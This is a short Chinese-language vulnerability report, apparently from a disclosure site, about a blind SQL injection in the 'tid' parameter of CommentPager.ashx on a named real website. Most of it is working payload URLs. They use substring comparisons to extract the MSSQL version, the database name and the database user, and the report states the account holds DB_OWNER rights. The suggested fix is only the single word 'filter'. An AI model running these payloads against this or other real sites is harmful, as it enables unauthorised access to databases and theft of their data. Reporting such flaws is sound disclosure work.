存在注入的站点如下:http://makemoney.39.net/ 注入页面:CommentPager.ashx 注入参数:tid 正常情况: and 1=1 and 1=2返回结果不一: 嗯,用substring()函数来进行盲注吧。 http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20@@version),22,4)=%272005%27 返回正常,说明mssql是2005的:
接下来猜database: http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20db_name()),1,1)=%27A%27 返回错误 http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20db_name()),1,1)=%27C%27 返回正常,说明 数据库第一个字符是C 以此类推:得 database = Comment 试试注入user吧。 http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20user),1,1)=%27a%27 返回错误 http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20user),1,1)=%273%27 返回正常,以此类推得: 39_Comment 当前权限:DB_OWNER 修复方案: 过滤。 |
还没有人抢沙发呢~